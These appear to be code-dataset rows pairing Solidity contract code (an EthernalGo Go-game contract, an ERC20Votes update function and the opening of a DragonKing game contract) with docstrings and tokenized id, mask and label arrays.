board.whitePeriodsRemaining = board.whitePeriodsRemaining > timePeriodsUsed ? board.whitePeriodsRemaining - timePeriodsUsed : 0;
// We are not supposed to get here
} else {
revert();
}
}
/// @dev Helper function to access the time periods of a player in a board.
/// @param board The board to check.
/// @param color the color of the player to check.
/// @return The number of time periods remaining for this player
function getPlayerTimePeriods(GoBoard storage board, PlayerColor color) internal view returns (uint8) {
// For the black player
if (color == PlayerColor.Black) {
return board.blackPeriodsRemaining;
// For the white player
} else if (color == PlayerColor.White) {
return board.whitePeriodsRemaining;
// We are not supposed to get here
} else {
revert();
}
}
/// @notice The main function to split game revenues, this is triggered only by changing the game's state
/// to one of the ending game states.
/// We make sure this board has a balance and that it's only running once a board game has ended
/// We used numbers for easier read through as this function is critical for the revenue sharing model
/// @param board The board the credit will come from.
function creditBoardGameRevenues(GoBoard storage board) private boardGameEnded(board) boardNotPaid(board) {
// Get the shares from the globals
uint updatedHostShare = HOST_SHARE;
uint updatedLoserShare = 0;
// Start accumulating funds for each participant and EthernalGo's CFO
uint amountBlack = 0;
uint amountWhite = 0;
uint amountCFO = 0;
uint fullAmount = 1000;
// Incentivize resigns and quick end-games for the loser
if (board.status == BoardStatus.BlackWin || board.status == BoardStatus.WhiteWin) {
// In case the game ended honorably (not by time out), the loser will get credit (from the CFO's share)
if (board.isHonorableLoss) {
// Reduce the credit from the CFO
updatedHostShare = HOST_SHARE - HONORABLE_LOSS_BONUS;
// Add to the loser share
updatedLoserShare = HONORABLE_LOSS_BONUS;
}
// If black won
if (board.status == BoardStatus.BlackWin) {
// Black should get the winner share
amountBlack = board.boardBalance.mul(WINNER_SHARE).div(fullAmount);
// White player should get the updated loser share (with or without the bonus)
amountWhite = board.boardBalance.mul(updatedLoserShare).div(fullAmount);
}
// If white won
if (board.status == BoardStatus.WhiteWin) {
// White should get the winner share
amountWhite = board.boardBalance.mul(WINNER_SHARE).div(fullAmount);
// Black should get the updated loser share (with or without the bonus)
amountBlack = board.boardBalance.mul(updatedLoserShare).div(fullAmount);
}
// The CFO should get the updates share if the game ended as expected
amountCFO = board.boardBalance.mul(updatedHostShare).div(fullAmount);
}
// If the match ended in a draw or it was cancelled
if (board.status == BoardStatus.Draw || board.status == BoardStatus.Canceled) {
// The CFO is not taking a share from draw or a cancelled match
amountCFO = 0;
// If the white player was on board, we should split the balance in half
if (board.whiteAddress != 0) {
// Each player gets half of the balance
amountBlack = board.boardBalance.div(2);
amountWhite = board.boardBalance.div(2);
// If there was only the black player, they should get the entire balance
} else {
amountBlack = board.boardBalance;
}
}
// Make sure we are going to split the entire amount and nothing gets left behind
assert(amountBlack + amountWhite + amountCFO == board.boardBalance);
// Reset the balance
board.boardBalance = 0;
// Async sends to the participants (this means each participant will be required to withdraw funds)
asyncSend(board.blackAddress, amountBlack);
asyncSend(board.whiteAddress, amountWhite);
asyncSend(CFO, amountCFO);
}
/// @dev withdraw accumulated balance, called by payee.
function withdrawPayments() public {
// Call Zeppelin's withdrawPayments
super.withdrawPayments();
// Send an event
PlayerWithdrawnBalance(msg.sender);
}
}
// File: contracts/GoGameLogic.sol
/// @title The actual game logic for EthernalGo - setting stones, capturing, etc.
/// @author https://www.EthernalGo.com
contract GoGameLogic is GoBoardMetaDetails {
/// @dev The StoneAddedToBoard event is fired when a new stone is added to the board,
/// and includes the board Id, stone color, row & column. This event will fire even if it was a suicide stone.
event StoneAddedToBoard(uint boardId, PlayerColor color, uint8 row, uint8 col);
/// @dev The PlayerPassedTurn event is fired when a player passes turn
/// and includes the board Id, color.
event PlayerPassedTurn(uint boardId, PlayerColor color);
/// @dev Updating the player's time periods left, according to the current time - board last update time.
/// If the player does not have enough time and chose to act, the game will end and the player will lose.
/// @param board is the relevant board.
/// @param boardId is the board's Id.
/// @param color is the color of the player we want to update.
/// @return true if the player can continue playing, otherwise false.
function updatePlayerTime(GoBoard storage board, uint boardId, PlayerColor color) private returns(bool) {
// Verify that the board is in progress and that it's the current player
require(board.status == BoardStatus.InProgress && board.nextTurnColor == color);
// Calculate time periods used by the player
uint timePeriodsUsed = uint(now.sub(board.lastUpdate).div(PLAYER_TURN_SINGLE_PERIOD));
// Subtract time periods if needed
if (timePeriodsUsed > 0) {
// Can't spend more than MAX_UINT8
updatePlayerTimePeriods(board, color, timePeriodsUsed > MAX_UINT8 ? MAX_UINT8 : uint8(timePeriodsUsed));
// The player losses when there aren't any time periods left
if (getPlayerTimePeriods(board, color) == 0) {
playerLost(board, boardId, color);
return false;
}
}
return true;
}
/// @notice Updates the board status according to the players score.
/// Can only be called when the board is in a 'waitingToResolve' status.
/// @param boardId is the board to check and update
function checkVictoryByScore(uint boardId) external boardWaitingToResolve(boardId) {
uint8 blackScore;
uint8 whiteScore;
// Get the players' score
(blackScore, whiteScore) = calculateBoardScore(boardId);
// Default to Draw
BoardStatus status = BoardStatus.Draw;
// If black's score is bigger than white's score, black is the winner
if (blackScore > whiteScore) {
status = BoardStatus.BlackWin;
// If white's score is bigger, white is the winner
} else if (whiteScore > blackScore) {
status = BoardStatus.WhiteWin;
}
// Update the board's status
updateBoardStatus(boardId, status);
}
/// @notice Performs a pass action on a psecific board, only by the current active color player.
/// @param boardId is the board to perform pass on.
function passTurn(uint boardId) external {
// Get the board & player
GoBoard storage board = allBoards[boardId];
PlayerColor activeColor = getPlayerColor(board, msg.sender);
// Verify the player can act
require(board.status == BoardStatus.InProgress && board.nextTurnColor == activeColor);
// Check if this player can act
if (updatePlayerTime(board, boardId, activeColor)) {
// If it's the second straight pass, the game is over
if (board.didPassPrevTurn) {
// Finishing the game like this is considered honorable
board.isHonorableLoss = true;
// On second pass, the board status changes to 'WaitingToResolve'
updateBoardStatus(board, boardId, BoardStatus.WaitingToResolve);
// If it's the first pass, we can simply continue
} else {
// Move to the next player, flag that it was a pass action
nextTurn(board);
board.didPassPrevTurn = true;
// Notify the player passed turn
PlayerPassedTurn(boardId, activeColor);
}
}
}
/// @notice Resigns a player from a specific board, can get called by either player on the board.
/// @param boardId is the board to resign from.
function resignFromMatch(uint boardId) external {
// Get the board, make sure it's in progress
GoBoard storage board = allBoards[boardId];
require(board.status == BoardStatus.InProgress);
// Get the sender's color
PlayerColor activeColor = getPlayerColor(board, msg.sender);
// Finishing the game like this is considered honorable
board.isHonorableLoss = true;
// Set that color as the losing player
playerLost(board, boardId, activeColor);
}
/// @notice Claiming the current acting player on the board is out of time, thus losses the game.
/// @param boardId is the board to claim it on.
function claimActingPlayerOutOfTime(uint boardId) external {
// Get the board, make sure it's in progress
GoBoard storage board = allBoards[boardId];
require(board.status == BoardStatus.InProgress);
// Get the acting player color
PlayerColor actingPlayerColor = getNextTurnColor(boardId);
// Calculate remaining allowed time for the acting player
uint playerTimeRemaining = PLAYER_TURN_SINGLE_PERIOD * getPlayerTimePeriods(board, actingPlayerColor);
// If the player doesn't have enough time left, the player losses
if (playerTimeRemaining < now - board.lastUpdate) {
playerLost(board, boardId, actingPlayerColor);
}
}
/// @dev Update a board status with a losing color
/// @param board is the board to update.
/// @param boardId is the board's Id.
/// @param color is the losing player's color.
function playerLost(GoBoard storage board, uint boardId, PlayerColor color) private {
// If black is the losing color, white wins
if (color == PlayerColor.Black) {
updateBoardStatus(board, boardId, BoardStatus.WhiteWin);
// If white is the losing color, black wins
} else if (color == PlayerColor.White) {
updateBoardStatus(board, boardId, BoardStatus.BlackWin);
// There's an error, revert
} else {
revert();
}
}
/// @dev Internally used to move to the next turn, by switching sides and updating the board last update time.
/// @param board is the board to update.
function nextTurn(GoBoard storage board) private {
// Switch sides
board.nextTurnColor = board.nextTurnColor == PlayerColor.Black ? PlayerColor.White : PlayerColor.Black;
// Last update time
board.lastUpdate = now;
}
/// @notice Adding a stone to a specific board and position (row & col).
/// Requires the board to be in progress, that the caller is the acting player,
/// and that the spot on the board is empty.
/// @param boardId is the board to add the stone to.
/// @param row is the row for the new stone.
/// @param col is the column for the new stone.
function addStoneToBoard(uint boardId, uint8 row, uint8 col) external {
// Get the board & sender's color
GoBoard storage board = allBoards[boardId];
PlayerColor activeColor = getPlayerColor(board, msg.sender);
// Verify the player can act
require(board.status == BoardStatus.InProgress && board.nextTurnColor == activeColor);
// Calculate the position
uint8 position = row * BOARD_ROW_SIZE + col;
// Check that it's an empty spot
require(board.positionToColor[position] == 0);
// Update the player timeout (if the player doesn't have time left, discontinue)
if (updatePlayerTime(board, boardId, activeColor)) {
// Set the stone on the board
board.positionToColor[position] = uint8(activeColor);
// Run capture / suidice logic
updateCaptures(board, position, uint8(activeColor));
// Next turn logic
nextTurn(board);
// Clear the pass flag
if (board.didPassPrevTurn) {
board.didPassPrevTurn = false;
}
// Fire the event
StoneAddedToBoard(boardId, activeColor, row, col);
}
}
/// @notice Returns a board's row details, specifies which color occupies which cell in that row.
/// @dev It returns a row and not the entire board because some nodes might fail to return arrays larger than ~50.
/// @param boardId is the board to inquire.
/// @param row is the row to get details on.
/// @return an array that contains the colors occupying each cell in that row.
function getBoardRowDetails(uint boardId, uint8 row) external view returns (uint8[BOARD_ROW_SIZE]) {
// The array to return
uint8[BOARD_ROW_SIZE] memory rowToReturn;
// For all columns, calculate the position and get the current status
for (uint8 col = 0; col < BOARD_ROW_SIZE; col++) {
uint8 position = row * BOARD_ROW_SIZE + col;
rowToReturn[col] = allBoards[boardId].positionToColor[position];
}
// Return the array
return (rowToReturn);
}
/// @notice Returns the current color of a specific position in a board.
/// @param boardId is the board to inquire.
/// @param row is part of the position to get details on.
/// @param col is part of the position to get details on.
/// @return the color occupying that position.
function getBoardSingleSpaceDetails(uint boardId, uint8 row, uint8 col) external view returns (uint8) {
uint8 position = row * BOARD_ROW_SIZE + col;
return allBoards[boardId].positionToColor[position];
}
/// @dev Calcultes whether a position captures an enemy group, or whether it's a suicide.
/// Updates the board accoridngly (clears captured groups, or the suiciding stone).
/// @param board the board to check and update
/// @param position the position of the new stone
/// @param positionColor the color of the new stone (this param is sent to spare another reading op)
function updateCaptures(GoBoard storage board, uint8 position, uint8 positionColor) private {
// Group positions, used later
uint8[BOARD_SIZE] memory group;
// Is group captured, or free
bool isGroupCaptured;
// In order to save gas, we check suicide only if the position is fully surrounded and doesn't capture enemy groups
bool shouldCheckSuicide = true;
// Get the position's adjacent cells
uint8[MAX_ADJACENT_CELLS] memory adjacentArray = getAdjacentCells(position);
// Run as long as there an adjacent cell, or until we reach the end of the array
for (uint8 currAdjacentIndex = 0; currAdjacentIndex < MAX_ADJACENT_CELLS && adjacentArray[currAdjacentIndex] < MAX_UINT8; currAdjacentIndex++) {
// Get the adjacent cell's color
uint8 currColor = board.positionToColor[adjacentArray[currAdjacentIndex]];
// If the enemy's color
if (currColor != 0 && currColor != positionColor) {
// Get the group's info
(group, isGroupCaptured) = getGroup(board, adjacentArray[currAdjacentIndex], currColor);
// Captured a group
if (isGroupCaptured) {
// Clear the group from the board
for (uint8 currGroupIndex = 0; currGroupIndex < BOARD_SIZE && group[currGroupIndex] < MAX_UINT8; currGroupIndex++) {
board.positionToColor[group[currGroupIndex]] = 0;
}
// Shouldn't check suicide
shouldCheckSuicide = false;
}
// There's an empty adjacent cell
} else if (currColor == 0) {
// Shouldn't check suicide
shouldCheckSuicide = false;
}
}
// Detect suicide if needed
if (shouldCheckSuicide) {
// Get the new stone's surrounding group
(group, isGroupCaptured) = getGroup(board, position, positionColor);
// If the group is captured, it's a suicide move, remove it
if (isGroupCaptured) {
// Clear added stone
board.positionToColor[position] = 0;
}
}
}
/// @dev Internally used to set a flag in a shrinked board array (used to save gas costs).
/// @param visited the array to update.
/// @param position the position on the board we want to flag.
/// @param flag the flag we want to set (either 1 or 2).
function setFlag(uint8[SHRINKED_BOARD_SIZE] visited, uint8 position, uint8 flag) private pure {
visited[position / 4] |= flag << ((position % 4) * 2);
}
/// @dev Internally used to check whether a flag in a shrinked board array is set.
/// @param visited the array to check.
/// @param position the position on the board we want to check.
/// @param flag the flag we want to check (either 1 or 2).
/// @return true if that flag is set, false otherwise.
function isFlagSet(uint8[SHRINKED_BOARD_SIZE] visited, uint8 position, uint8 flag) private pure returns (bool) {
return (visited[position / 4] & (flag << ((position % 4) * 2)) > 0);
}
// Get group visited flags
uint8 constant FLAG_POSITION_WAS_IN_STACK = 1;
uint8 constant FLAG_DID_VISIT_POSITION = 2;
/// @dev Gets a group starting from the position & color sent. In order for a stone to be part of the group,
/// it must match the original stone's color, and be connected to it - either directly, or through adjacent cells.
/// A group is captured if there aren't any empty cells around it.
/// The function supports both returning colored groups - white/black, and empty groups (for that case, isGroupCaptured isn't relevant).
/// @param board the board to check and update
/// @param position the position of the starting stone
/// @param positionColor the color of the starting stone (this param is sent to spare another reading op)
/// @return an array that contains the positions of the group,
/// a boolean that specifies whether the group is captured or not.
/// In order to save gas, if a group isn't captured, the array might not contain the enitre group.
function getGroup(GoBoard storage board, uint8 position, uint8 positionColor) private view returns (uint8[BOARD_SIZE], bool isGroupCaptured) {
// The return array, and its size
uint8[BOARD_SIZE] memory groupPositions;
uint8 groupSize = 0;
// Flagging visited locations
uint8[SHRINKED_BOARD_SIZE] memory visited;
// Stack of waiting positions, the first position to check is the sent position
uint8[BOARD_SIZE] memory stack;
stack[0] = position;
uint8 stackSize = 1;
// That position was added to the stack
setFlag(visited, position, FLAG_POSITION_WAS_IN_STACK);
// Run as long as there are positions in the stack
while (stackSize > 0) {
// Take the last position and clear it
position = stack[--stackSize];
stack[stackSize] = 0;
// Only if we didn't visit that stone before
if (!isFlagSet(visited, position, FLAG_DID_VISIT_POSITION)) {
// Set the flag so we won't visit it again
setFlag(visited, position, FLAG_DID_VISIT_POSITION);
// Add that position to the return value
groupPositions[groupSize++] = position;
// Get that position adjacent cells
uint8[MAX_ADJACENT_CELLS] memory adjacentArray = getAdjacentCells(position);
// Run over the adjacent cells
for (uint8 currAdjacentIndex = 0; currAdjacentIndex < MAX_ADJACENT_CELLS && adjacentArray[currAdjacentIndex] < MAX_UINT8; currAdjacentIndex++) {
// Get the current adjacent cell color
uint8 currColor = board.positionToColor[adjacentArray[currAdjacentIndex]];
// If it's the same color as the original position color
if (currColor == positionColor) {
// Add that position to the stack
if (!isFlagSet(visited, adjacentArray[currAdjacentIndex], FLAG_POSITION_WAS_IN_STACK)) {
stack[stackSize++] = adjacentArray[currAdjacentIndex];
setFlag(visited, adjacentArray[currAdjacentIndex], FLAG_POSITION_WAS_IN_STACK);
}
// If that position is empty, the group isn't captured, no need to continue running
} else if (currColor == 0) {
return (groupPositions, false);
}
}
}
}
// Flag the end of the group array only if needed
if (groupSize < BOARD_SIZE) {
groupPositions[groupSize] = MAX_UINT8;
}
// The group is captured, return it
return (groupPositions, true);
}
/// The max number of adjacent cells is 4
uint8 constant MAX_ADJACENT_CELLS = 4;
/// @dev returns the adjacent positions for a given position.
/// @param position to get its adjacents.
/// @return the adjacent positions array, filled with MAX_INT8 in case there aren't 4 adjacent positions.
function getAdjacentCells(uint8 position) private pure returns (uint8[MAX_ADJACENT_CELLS]) {
// Init the return array and current index
uint8[MAX_ADJACENT_CELLS] memory returnCells = [MAX_UINT8, MAX_UINT8, MAX_UINT8, MAX_UINT8];
uint8 adjacentCellsIndex = 0;
// Set the up position, if relevant
if (position / BOARD_ROW_SIZE > 0) {
returnCells[adjacentCellsIndex++] = position - BOARD_ROW_SIZE;
}
// Set the down position, if relevant
if (position / BOARD_ROW_SIZE < BOARD_ROW_SIZE - 1) {
returnCells[adjacentCellsIndex++] = position + BOARD_ROW_SIZE;
}
// Set the left position, if relevant
if (position % BOARD_ROW_SIZE > 0) {
returnCells[adjacentCellsIndex++] = position - 1;
}
// Set the right position, if relevant
if (position % BOARD_ROW_SIZE < BOARD_ROW_SIZE - 1) {
returnCells[adjacentCellsIndex++] = position + 1;
}
return returnCells;
}
/// @notice Calculates the board's score, using area scoring.
/// @param boardId the board to calculate the score for.
/// @return blackScore & whiteScore, the players' scores.
function calculateBoardScore(uint boardId) public view returns (uint8 blackScore, uint8 whiteScore) {
GoBoard storage board = allBoards[boardId];
uint8[BOARD_SIZE] memory boardEmptyGroups;
uint8 maxEmptyGroupId;
(boardEmptyGroups, maxEmptyGroupId) = getBoardEmptyGroups(board);
uint8[BOARD_SIZE] memory groupsSize;
uint8[BOARD_SIZE] memory groupsState;
blackScore = 0;
whiteScore = 0;
// Count stones and find empty territories
for (uint8 position = 0; position < BOARD_SIZE; position++) {
if (PlayerColor(board.positionToColor[position]) == PlayerColor.Black) {
blackScore++;
} else if (PlayerColor(board.positionToColor[position]) == PlayerColor.White) {
whiteScore++;
} else {
uint8 groupId = boardEmptyGroups[position];
groupsSize[groupId]++;
// Checking is needed only if we didn't find the group is adjacent to the two colors already
if ((groupsState[groupId] & uint8(PlayerColor.Black) == 0) || (groupsState[groupId] & uint8(PlayerColor.White) == 0)) {
uint8[MAX_ADJACENT_CELLS] memory adjacentArray = getAdjacentCells(position);
// Check adjacent cells to mark the group's bounderies
for (uint8 currAdjacentIndex = 0; currAdjacentIndex < MAX_ADJACENT_CELLS && adjacentArray[currAdjacentIndex] < MAX_UINT8; currAdjacentIndex++) {
// Check if the group has a black boundry
if ((PlayerColor(board.positionToColor[adjacentArray[currAdjacentIndex]]) == PlayerColor.Black) &&
(groupsState[groupId] & uint8(PlayerColor.Black) == 0)) {
groupsState[groupId] |= uint8(PlayerColor.Black);
// Check if the group has a white boundry
} else if ((PlayerColor(board.positionToColor[adjacentArray[currAdjacentIndex]]) == PlayerColor.White) &&
(groupsState[groupId] & uint8(PlayerColor.White) == 0)) {
groupsState[groupId] |= uint8(PlayerColor.White);
}
}
}
}
}
// Add territories size to the relevant player
for (uint8 currGroupId = 1; currGroupId < maxEmptyGroupId; currGroupId++) {
// Check if it's a black territory
if ((groupsState[currGroupId] & uint8(PlayerColor.Black) > 0) &&
(groupsState[currGroupId] & uint8(PlayerColor.White) == 0)) {
blackScore += groupsSize[currGroupId];
// Check if it's a white territory
} else if ((groupsState[currGroupId] & uint8(PlayerColor.White) > 0) &&
(groupsState[currGroupId] & uint8(PlayerColor.Black) == 0)) {
whiteScore += groupsSize[currGroupId];
}
}
return (blackScore, whiteScore);
}
/// @dev IDs empty groups on the board.
/// @param board the board to map.
/// @return an array that contains the mapped empty group ids, and the max empty group id
function getBoardEmptyGroups(GoBoard storage board) private view returns (uint8[BOARD_SIZE], uint8) {
uint8[BOARD_SIZE] memory boardEmptyGroups;
uint8 nextGroupId = 1;
for (uint8 position = 0; position < BOARD_SIZE; position++) {
PlayerColor currPositionColor = PlayerColor(board.positionToColor[position]);
if ((currPositionColor == PlayerColor.None) && (boardEmptyGroups[position] == 0)) {
uint8[BOARD_SIZE] memory emptyGroup;
bool isGroupCaptured;
(emptyGroup, isGroupCaptured) = getGroup(board, position, 0);
for (uint8 currGroupIndex = 0; currGroupIndex < BOARD_SIZE && emptyGroup[currGroupIndex] < MAX_UINT8; currGroupIndex++) {
boardEmptyGroups[emptyGroup[currGroupIndex]] = nextGroupId;
}
nextGroupId++;
}
}
return (boardEmptyGroups, nextGroupId);
}
}
|
@dev Gets the current board status @param boardId The id of the board to check @return the current board status
|
function getBoardStatus(uint boardId) public view returns(BoardStatus) {
GoBoard storage board = allBoards[boardId];
return (board.status);
}
| 941,480 |
[
1,
3002,
326,
783,
11094,
1267,
225,
11094,
548,
1021,
612,
434,
326,
11094,
358,
866,
327,
326,
783,
11094,
1267,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2882,
83,
1060,
1482,
12,
11890,
11094,
548,
13,
1071,
1476,
1135,
12,
22233,
1482,
13,
288,
203,
3639,
4220,
22233,
2502,
11094,
273,
777,
13809,
14727,
63,
3752,
548,
15533,
203,
3639,
327,
261,
3752,
18,
2327,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/314/0x7b7f1f85F599b63432F5D782041c25Dad354f999/sources/node_modules/@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol
|
* @dev Move voting power when tokens are transferred. Emits a {IVotes-DelegateVotesChanged} event./
|
function _update(address from, address to, uint256 value) internal virtual override {
super._update(from, to, value);
if (from == address(0)) {
uint256 supply = totalSupply();
uint256 cap = _maxSupply();
if (supply > cap) {
revert ERC20ExceededSafeSupply(supply, cap);
}
}
_transferVotingUnits(from, to, value);
}
| 8,082,378 |
[
1,
7607,
331,
17128,
7212,
1347,
2430,
854,
906,
4193,
18,
7377,
1282,
279,
288,
8188,
6366,
17,
9586,
29637,
5033,
97,
871,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
2725,
12,
2867,
628,
16,
1758,
358,
16,
2254,
5034,
460,
13,
2713,
5024,
3849,
288,
203,
3639,
2240,
6315,
2725,
12,
2080,
16,
358,
16,
460,
1769,
203,
3639,
309,
261,
2080,
422,
1758,
12,
20,
3719,
288,
203,
5411,
2254,
5034,
14467,
273,
2078,
3088,
1283,
5621,
203,
5411,
2254,
5034,
3523,
273,
389,
1896,
3088,
1283,
5621,
203,
5411,
309,
261,
2859,
1283,
405,
3523,
13,
288,
203,
7734,
15226,
4232,
39,
3462,
10069,
9890,
3088,
1283,
12,
2859,
1283,
16,
3523,
1769,
203,
5411,
289,
203,
3639,
289,
203,
3639,
389,
13866,
58,
17128,
7537,
12,
2080,
16,
358,
16,
460,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* Note for the truffle testversion:
* DragonKingTest inherits from DragonKing and adds one more function for testing the volcano from truffle.
* For deployment on ropsten or mainnet, just deploy the DragonKing contract and remove this comment before verifying on
* etherscan.
* */
/**
* Dragonking is a blockchain game in which players may purchase dragons and knights of different levels and values.
* Once every period of time the volcano erupts and wipes a few of them from the board. The value of the killed characters
* gets distributed amongst all of the survivors. The dragon king receive a bigger share than the others.
* In contrast to dragons, knights need to be teleported to the battlefield first with the use of teleport tokens.
* Additionally, they may attack a dragon once per period.
* Both character types can be protected from death up to three times.
* Take a look at dragonking.io for more detailed information.
* @author: Julia Altenried, Yuriy Kashnikov
* */
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
function Destructible() public payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract DragonKingConfig {
/** the cost of each character type */
uint128[] public costs;
/** the value of each character type (cost - fee), so it's not necessary to compute it each time*/
uint128[] public values;
/** the fee to be paid each time an character is bought in percent*/
uint8 fee;
/** The maximum of characters allowed in the game */
uint16 public maxCharacters;
/** the amount of time that should pass since last eruption **/
uint256 public eruptionThreshold;
/** the amount of time that should pass ince last castle loot distribution **/
uint256 public castleLootDistributionThreshold;
/** how many characters to kill in %, e.g. 20 will stand for 20%, should be < 100 **/
uint8 public percentageToKill;
/* Cooldown threshold */
uint256 public constant CooldownThreshold = 1 days;
/** fight factor, used to compute extra probability in fight **/
uint8 public fightFactor;
/** the price for teleportation*/
uint256 public teleportPrice;
/** the price for protection */
uint256 public protectionPrice;
}
